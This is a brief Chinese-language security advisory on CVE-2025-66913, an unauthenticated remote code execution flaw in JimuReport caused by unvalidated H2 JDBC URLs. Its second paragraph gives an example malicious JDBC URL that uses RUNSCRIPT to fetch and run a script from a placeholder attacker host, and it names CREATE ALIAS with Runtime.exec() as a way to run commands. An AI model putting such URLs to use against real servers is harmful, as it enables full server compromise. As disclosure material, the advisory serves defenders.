CVE-2025-66913JimuReport是一款开源的轻量级报表工具,在2.1.3及之前版本中存在严重的远程代码执行漏洞。该漏洞源于应用程序在处理用户控制的H2 JDBC URL时,直接将攻击者提供的JDBC URL传递给H2数据库驱动,而H2数据库支持通过特定指令执行任意Java代码。攻击者可以利用这一特性,通过构造恶意的JDBC URL,在目标服务器上执行任意命令,从而完全控制受影响的系统。由于该漏洞无需认证即可利用,且CVSS评分高达9.8,属于紧急严重漏洞,建议所有使用受影响版本的用户立即采取修复措施。此漏洞与CVE-2025-10770为不同漏洞,攻击者可能同时利用多个漏洞进行组合攻击。
漏洞根源在于JimuReport在数据库连接配置中未对用户输入的JDBC URL进行充分验证。H2数据库引擎支持多种启动选项,其中包括RUNSCRIPT、CREATEALIAS等指令,这些指令可以触发Java代码执行。具体来说,当H2数据库接收到形如jdbc:h2:mem:test;RUNSCRIPT+'http://attacker.com/shell.sql'的URL时,会尝试从指定URL读取并执行SQL脚本。更危险的是,攻击者可以利用CREATE ALIAS命令创建自定义函数,结合H2的JAVA_OBJECT类型转换特性,可以直接调用Runtime.exec()执行系统命令。攻击者首先构造包含恶意指令的JDBC URL,然后通过API接口或配置功能将其作为数据源提交,应用程序会直接使用该URL建立数据库连接,从而触发代码执行。整个过程无需任何认证,攻击者即可获得服务器的最高控制权。